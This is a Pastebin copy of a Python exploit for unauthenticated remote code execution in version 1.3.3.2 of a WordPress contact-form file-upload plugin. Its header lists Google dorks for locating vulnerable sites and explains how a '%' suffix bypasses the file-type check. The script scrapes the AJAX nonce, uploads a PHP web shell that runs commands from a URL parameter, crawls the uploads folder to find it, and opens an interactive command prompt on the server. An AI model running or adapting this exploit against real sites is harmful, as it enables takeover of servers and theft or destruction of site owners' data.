Lathoz

Untitled

Oct 7th, 2021
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.83 KB | None | 0 0
  1. # Exploit Title: WordPress Plugin Drag and Drop File Upload Contact Form 1.3.3.2 - Remote Code Execution
  2. # Date: 2020-05-11
  3. # Exploit Author: Austin Martin
  4. # Google Dork: inurl:wp-content/uploads/wp_dndcf7_uploads/
  5. # Google Dork: inurl:wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
  6. # Vendor Homepage: https://www.codedropz.com/
  7. # Software Link: https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
  8. # Version: 1.3.3.2
  9. # Tested on: WordPress 5.4.1, PHP 7.41
  10. # CVE : N/A
  11.  
  12. # Notes:
  13. # At time of disclosure, the WordPress page listed this plugin being used by +10,000 applications
  14. # Application was patched by vendor within 24 hours of initial disclosure
  15. # This exploit works bypassing the allowed file types and file type sanitization. If lucky, a PHP file with a reverse shell can be uploaded and accessed
  16.  
  17. # Any file types can be added to the "supported_type" parameter
  18. # These uploaded files can be accessed at wp-content/uploads/wp_dndcf7_uploads/
  19. # Dangerous file types such as php have "_.txt" appended to the end creating a text file
  20. # This can be bypassed by adding '%' to the end of the allowed file type, and the end of the file name
  21. # ex. "php%" for file type and "shell.php%" for filename
  22. # The PHP payload in the POC can be easily modified to gain a reverse shell
  23.  
  24. #!/usr/bin/python
  25. import string
  26. import random
  27. import requests
  28. from bs4 import BeautifulSoup
  29. import sys
  30.  
  31. payloadurl=""
  32. def RecurseLinks(base,file):
  33.  
  34. headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"}
  35. f = requests.get(base, headers=headers)
  36. soup = BeautifulSoup(f.content, "html.parser")
  37.  
  38. for root in soup.find_all("a"):
  39. href = root.get("href")
  40. if (href.startswith("/")):
  41. do = "nothing"
  42. elif (href.endswith("/")):
  43. RecurseLinks(base + href, file)
  44. else:
  45. if file in href:
  46. print ("\n[+] File Found --> " + base + href)
  47. global payloadurl
  48. payloadurl = (base+href)
  49.  
  50. def main():
  51. #os.system('cls')
  52. print("WordPress Plugin \'Drag and Drop Multiple File Upload - Contact Form 7\' 1.3.3.2 - Unauthenticated Remote Code Execution")
  53. print("@amartinsec --> Twitter\nCVE:2020-12800\n")
  54.  
  55. #Build The Request
  56. #Generate random URL for filename
  57. file = ''.join(random.sample((string.ascii_uppercase + string.digits), 6))
  58.  
  59. urlinput = raw_input("[+] Enter url to the vulnerable WordPress application: ")
  60.  
  61. #Finding the nonce used in the Ajax security string
  62. print ("\n[+] Searching for security string nonce")
  63. headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
  64. homepage = requests.get(urlinput,headers=headers)
  65. homepage = homepage.text
  66. homepage = homepage.split("ajax_nonce\":\"",1)[1]
  67. securitykey = homepage[:10]
  68. print("[+] Found security string --> " + securitykey)
  69.  
  70. url = urlinput + "/wp-admin/admin-ajax.php"
  71.  
  72. headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
  73. "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5",
  74. "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest",
  75. "Content-Type": "multipart/form-data; boundary=---------------------------350278735926454076983690555601",
  76. }
  77. data = "-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"supported_type\"\r\n\r\n" \
  78. "php%\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"size_limit\"\r\n\r\n" \
  79. "5242880\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n" \
  80. "dnd_codedropz_upload\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"type" \
  81. "\"\r\n\r\nclick\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"security\"\r" \
  82. "\n\r\n" + securitykey +"\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"upload-file\"; " \
  83. "filename=\"" + file +".php%\"\r\nContent-Type: text/plain\r\n\r\n" \
  84. "<?php echo shell_exec($_GET['e'].' 2>&1'); ?>" \
  85. "\r\n-----------------------------350278735926454076983690555601--\r\n"
  86.  
  87. print("\n[+] Sending payload to target")
  88.  
  89. response = requests.post(url, headers=headers, data=data)
  90.  
  91. if "200" in str(response):
  92. print("[+] Looks like a successful file upload!\n")
  93.  
  94.  
  95. elif "403" in str(response):
  96. print("\nFile Upload Failed")
  97. print("403 in response. Check security string")
  98. sys.exit(1)
  99.  
  100. else:
  101. print("File upload failed. Try the manual way with Burp")
  102. sys.exit(1)
  103.  
  104. print("[+] Crawling for the uploaded file. This may take a minute...")
  105. print("[+] Searching for " + file + ".php")
  106.  
  107. RecurseLinks(urlinput + "/wp-content/uploads/",file)
  108.  
  109. if payloadurl == "":
  110. print("Can't find the file on the web server")
  111. print("Try the manual method")
  112. sys.exit(1)
  113.  
  114. #If all goes well, we can now send requests for RCE
  115. print("[+] Success\n")
  116. while True:
  117. cmd= raw_input("[+] CMD: ")
  118. headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
  119. request = requests.get(payloadurl + "?e=" + cmd, headers=headers)
  120. print request.text
  121.  
  122. if __name__ == "__main__":
  123. main()
Advertisement
Add Comment
Please, Sign In to add comment